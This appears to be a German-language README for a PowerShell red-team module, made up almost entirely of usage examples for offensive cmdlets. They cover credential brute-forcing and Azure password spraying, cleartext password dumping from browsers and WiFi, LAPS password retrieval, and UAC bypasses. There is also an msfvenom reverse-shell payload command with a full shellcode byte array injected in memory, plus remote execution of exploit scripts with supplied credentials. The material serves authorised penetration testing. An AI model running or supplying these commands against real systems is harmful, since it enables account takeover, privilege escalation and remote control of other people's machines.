
Sammlung von PowerShell-Funktionen, die ein Red Teamer in einem Einsatz verwenden kann
Sammlung von PowerShell-Funktionen, die ein Red Teamer verwenden kann, um Daten von einem Rechner zu sammeln oder Zugriff auf ein Ziel zu erhalten. Ich habe ps1-Dateien für die Befehle hinzugefügt, die im RedTeamEnum-Modul enthalten sind. So kannst du einfach einen einzelnen Befehl finden und verwenden, falls du nur das möchtest. Wenn du das gesamte Modul möchtest, führe nach dem Herunterladen des RedTeamEnum-Verzeichnisses und dessen Inhalt auf dein Gerät die folgenden Schritte aus:
C:\PS> robocopy .\RedTeamEnum $env:USERPROFILE\Documents\WindowsPowerShell\Modules\RedTeamEnum *
# This will copy the module to a location that allows you to easily import it. If you are using OneDrive sync you may need to use $env:USERPROFILE\OneDrive\Documents\WindowsPowerShell\Modules\RedTeamEnum instead.
C:\PS> Import-Module -Name RedTeamEnum -Verbose
# This will import all the commands in the module.
C:\PS> Get-Command -Module RedTeamEnum
# This will list all the commands in the module.
C:\PS> Convert-Base64 -Value "Convert me to base64!" -Encode
C:\PS> Convert-Base64 -Value "Q29udmVydCBtZSB0byBiYXNlNjQh" -Decode
C:\PS> Convert-StringToHash -String "Convert me to base64!"
C:\PS> Convert-StringToHash -String "Password123" -Encoding UTF8 -Algorithm MD5
# Beide obigen Beispiele konvertieren die Zeichenfolge Password123 in einen MD5-Hash-Wert
C:\PS> Convert-SID -Username tobor
# Das obige Beispiel konvertiert tobor in seinen SID-Wert
C:\PS> Convert-SID -SID S-1-5-21-2860287465-2011404039-792856344-500
# Der obige Wert konvertiert den SID-Wert in den zugehörigen Benutzernamen
C:\PS> Test-BruteForceZipPassword -PassFile 'C:\Users\USER\Downloads\Applications\pass.txt' -Path 'C:\Users\USER\Downloads\Applications\KiTTY.7z' -ZipExe 'C:\Program Files\7-Zip\7z.exe'
# Dieses Beispiel verwendet die Passwörter in der Datei pass.txt, um die passwortgeschützte Datei KiTTY.7z zu knacken
C:\PS> Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username 'admin','administrator' -Passwd 'Password123!' -SleepMinutes 5
# Dieses Beispiel testet das eine definierte Passwort gegen die Benutzer admin und administrator auf dem entfernten Computer DC01.domain.com mit WinRM über HTTPS und einer Wartezeit von 5 Minuten zwischen den Versuchen
C:\PS> Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt
# Dieses Beispiel testet jedes Passwort in rockyou.txt gegen jeden Benutzernamen in der Datei users.txt ohne Pause zwischen den Versuchen
C:\PS> Get-LdapInfo -Detailed -SPNNamedObjects -Domain domain.com -Credential (Get-Credential)
# Das obige Beispiel gibt alle Eigenschaften der zurückgegebenen Objekte in domain.com zurück
#
C:\PS> Get-LdapInfo -DomainControllers | Select-Object -Property 'Name','ms-Mcs-AdmPwd'
# Wenn dies als Administrator ausgeführt wird, gibt es das LAPS-Passwort für das lokale Administratorkonto zurück
#
C:\PS> Get-LdapInfo -ListUsers | Where-Object -Property SamAccountName -like "user.samname"
# HINWEIS: Wenn Sie den Schalter "-Detailed" einfügen und die Ausgabe an Where-Object weiterleiten, werden keine Eigenschaften zurückgegeben. Wenn Sie alle Eigenschaften Ihres Ergebnisses anzeigen möchten, muss es mit dem folgenden Format ausgeführt werden
#
C:\PS> Get-LdapInfo -AllServers | Where-Object -Property LogonCount -gt 1 | Select-Object -Property *
C:\PS> Get-NetworkShareInfo -ShareName C$
# Das obige Beispiel gibt Informationen zur Freigabe C$ auf dem lokalen Rechner zurück
#RESULTS
Name : C$
InstallDate :
Description : Default share
Path : C:\
ComputerName : TOBORDESKTOP
Status : OK
C:\PS> Get-NetworkShareInfo -ShareName NETLOGON,SYSVOL,C$ -ComputerName DC01.domain.com, DC02.domain.com, 10.10.10.1
# Das obige Beispiel findet und gibt Informationen zu NETLOGON, SYSVOL und C$ auf den 3 entfernten Geräten DC01, DC02 und 10.10.10.1 zurück
C:\PS> Test-PrivEsc
C:\PS> Get-InitialEnum
C:\PS> Start-SimpleHTTPServer
# Öffnet HTTP-Server auf Port 8000
#ODER
C:\PS> Start-SimpleHTTPServer -Port 80
# Öffnet HTTP-Server auf Port 80
C:\PS> Invoke-PortScan -IpAddress 192.168.0.1
C:\PS> Invoke-PingSweep -Subnet 192.168.1.0 -Start 192 -End 224 -Source Singular
# HINWEIS: Der Parameter Source funktioniert nur, wenn der Wert für IP Source Routing "Yes" ist
C:\PS> Invoke-PingSweep -Subnet 10.0.0.0 -Start 1 -End 20 -Count 2
# Standardwert für count ist 1
C:\PS> Invoke-PingSweep -Subnet 172.16.0.0 -Start 64 -End 128 -Count 3 -Source Multiple
# Der folgende Befehl verwendet die eingegebenen Anmeldeinformationen, um die ausführbare Datei msf.exe als Benutzer tobor zu öffnen
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\msf.exe -Verbose
Dieses Cmdlet kann auch verwendet werden, um Dateien, die sich auf Ihrem lokalen Rechner befinden, auf einem entfernten Rechner auszuführen
# Der folgende Befehl verwendet die eingegebenen Anmeldeinformationen, um die ausführbare Datei exploit.ps1 als Benutzer tobor auf DC01 und DC02 mit WinRM zu öffnen
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com"
# Der folgende Befehl verwendet die eingegebenen Anmeldeinformationen, um die ausführbare Datei exploit.ps1 als Benutzer tobor auf DC01 und DC02 mit WinRM über HTTPS zu öffnen
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com" -UseSSL
C:\PS> Invoke-FodHelperBypass -Program "powershell" -Verbose
# ODER
C:\PS> Invoke-FodHelperBypass -Program "cmd /c msf.exe" -Verbose
# Generate payload to use
msfvenom -p windows/meterpreter/shell_reverse_tcp LHOST=192.168.137.129 LPORT=1337 -f powershell
Starten Sie einen Listener, verwenden Sie diesen Wert im Parameter "ShellCode" und führen Sie den Befehl aus, um Ihre Shell zu erhalten. Dies erfordert auch, dass bestimmte Arbeitsspeicherschutzfunktionen nicht aktiviert sind. HINWEIS: Beachten Sie, dass es KEINE ANFÜHRUNGSZEICHEN um den Wert der ShellCode-Variablen gibt. Dies liegt daran, dass ein Byte-Array erwartet wird.
C:\PS> Invoke-InMemoryPayload -Payload 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x5,0x39,0xc0,0xa8,0x89,0x81,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x2,0x0,0x0,0x49,0xb8,0x63,0x6d,0x64,0x0,0x0,0x0,0x0,0x0,0x41,0x50,0x41,0x50,0x48,0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0xd,0x59,0x41,0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x1,0x1,0x48,0x8d,0x44,0x24,0x18,0xc6,0x0,0x68,0x48,0x89,0xe6,0x56,0x50,0x41,0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0xe,0x41,0xba,0x8,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5 -Verbose

Get-ClearTextPassword -All
Der obige Befehl gibt alle möglichen Ergebnisse zurück, die das Cmdlet liefern kann. Es können auch einzelne Orte durchsucht werden. Zum Beispiel
Get-ClearTextPassword -AutoLogon
Mehr als ein Ort kann in Ihrer Suche definiert werden Zum Beispiel
Get-ClearTextPassword -WiFi -SNMP -Chrome -PasswordVault
Invoke-AzureEnum.ps1 -Path 'C:\Temp\enum.txt'
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!'
# Dieses Beispiel testet die definierten Passwörter gegen die Liste der definierten Benutzernamen
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!' -SleepSeconds 60
# Dieses Beispiel testet die definierten Passwörter gegen die Liste der definierten Benutzernamen mit einer Wartezeit von 60 Sekunden vor dem nächsten Anmeldeversuch
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!' -SleepSeconds 60 -RoundRobin
# Dieses Beispiel testet die definierten Passwörter gegen die Liste der definierten Benutzernamen mit einer Wartezeit von 60 Sekunden vor dem nächsten Anmeldeversuch. Dabei werden die Authentifizierungsversuche im Round-Robin-Verfahren für die definierten Benutzernamen durchgeführt
$UserNames = "[email protected]","[email protected]","[email protected]","[email protected]"
$UserNames | Invoke-AzurePasswordSpray -Passwd "Password123!" -RoundRobin
# Dieses Beispiel testet die definierten Passwörter gegen die Liste der definierten Benutzernamen im Round-Robin-Verfahren
Test-KerberosDoubleHop -All
# Dieses Beispiel sucht nach und zeigt Computer-, Benutzer- und Admin-AD-Objekte an, die anfällig für einen Kerberos Double Hop auf dem Domänencontroller sind, bei dem Sie angemeldet sind
Test-KerberosDoubleHop -Server DC01.domain.com -UserResults
# Dieses Beispiel verwendet WinRM, um Benutzer-AD-Objekte anzuzeigen, die anfällig für einen Kerberos Double Hop auf dem entfernten Domänencontroller DC01.domain.com sind
Test-KerberosDoubleHop -Server DC01.domain.com -UseSSL -AdminResults
# Dieses Beispiel verwendet WinRM über HTTPS, um Admin-AD-Objekte anzuzeigen, die anfällig für einen Kerberos Double Hop auf dem entfernten Domänencontroller DC01.domain.com sind
Test-KerberosDoubleHop -ComputerResults -AdminResults
# Dieses Beispiel sucht nach und zeigt Computer- und Admin-AD-Objekte an, die anfällig für einen Kerberos Double Hop auf dem Domänencontroller sind, bei dem Sie angemeldet sind
Invoke-DccwUACBypass -Program "cmd /c start powershell"
# Dieses Beispiel nutzt die DCCW-UAC-Umgehungsmethode, um PowerShell mit Administratorrechten zu öffnen
Invoke-DccwUACBypass -Program "cmd /c start mfs.exe"
# Dieses Beispiel nutzt die DCCW-UAC-Umgehungsmethode, um den Payload msf.exe mit Administratorrechten auszuführen
Enable-RDP
Test-BruteLocalUserCredential -Username Administrator -Passwd 'Password123!','Passw0rd1!'
# Dieses Beispiel testet die zwei definierten Passwörter gegen das Administrator-Benutzerkonto
Test-BruteLocalUserCredential -Username Administrator -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Dieses Beispiel testet die Passwörter in der Datei C:\Temp\passlist.txt gegen das Administrator-Benutzerkonto
$Users = (Get-LocalUser).Name
ForEach $U in $Users) {Test-BruteLocalUserCredential -Username $U -Passwd (Get-Content -Path C:\Temp\passlist.txt)}
# Dieses Beispiel testet eine Passwortliste gegen alle lokalen Benutzerkonten
Test-FTPCredential -Server FTP.domian.com -Username ftpuser -Passwd 'Password123','Passw0rd1!','password123!' -Port 21 -Protocol FTP
# Dieses Beispiel testet die 3 definierten Passwörter gegen das Konto ftpuser auf dem FTP-Server auf FTP.domain.com über Port 21
Test-FTPCredential -Server FTP.domian.com -Username ftpuser,admin -Passwd 'Password123','Passw0rd1!','password123!' -Protocol FTPS -Seconds 60
# Dieses Beispiel testet die 3 definierten Passwörter gegen die Konten admin und ftpuser auf dem FTP-Server auf FTP.domain.com über Port 21, mit einer Wartezeit von 60 Sekunden zwischen fehlgeschlagenen Versuchen
Test-FTPCredential -Server FTP.domian.com -Username (Get-Content -Path C:\Temp\userlist.txt) -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Dieses Beispiel testet die Passwörter in C:\Temp\passlist.txt gegen alle in der Datei C:\Temp\userlist.txt definierten Benutzer auf dem FTP-Server unter FTP.domain.com über Port 21, mit einer Wartezeit von 1 Sekunde zwischen fehlgeschlagenen Versuchen
Test-SQLCredential -Server sql.domian.com -Username sa -Passwd 'Password123','Passw0rd1!','password123!' -Port 1433
# Dieses Beispiel testet die 3 definierten Passwörter gegen das Konto sa auf dem SQL-Server auf sql.domain.com über Port 1433
Test-SQLCredential -Server sql.domian.com -Username sa,admin -Passwd 'Password123','Passw0rd1!','password123!' -Seconds 60
# Dieses Beispiel testet die 3 definierten Passwörter gegen die Konten admin und sa auf dem SQL-Server auf sql.domain.com über Port 1433, mit einer Wartezeit von 60 Sekunden zwischen fehlgeschlagenen Versuchen
Test-SQLCredential -Server sql.domian.com -Username (Get-Content -Path C:\Temp\userlist.txt) -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Dieses Beispiel testet die Passwörter in C:\Temp\passlist.txt gegen alle in der Datei C:\Temp\userlist.txt definierten Benutzer auf dem SQL-Server unter sql.domain.com über Port 1433, mit einer Wartezeit von 1 Sekunde zwischen fehlgeschlagenen Versuchen
Weitere Informationen zu Start-Listener, Start-Bind und Invoke-ReversePowerShell finden Sie unter https://github.com/tobor88/ReversePowerShell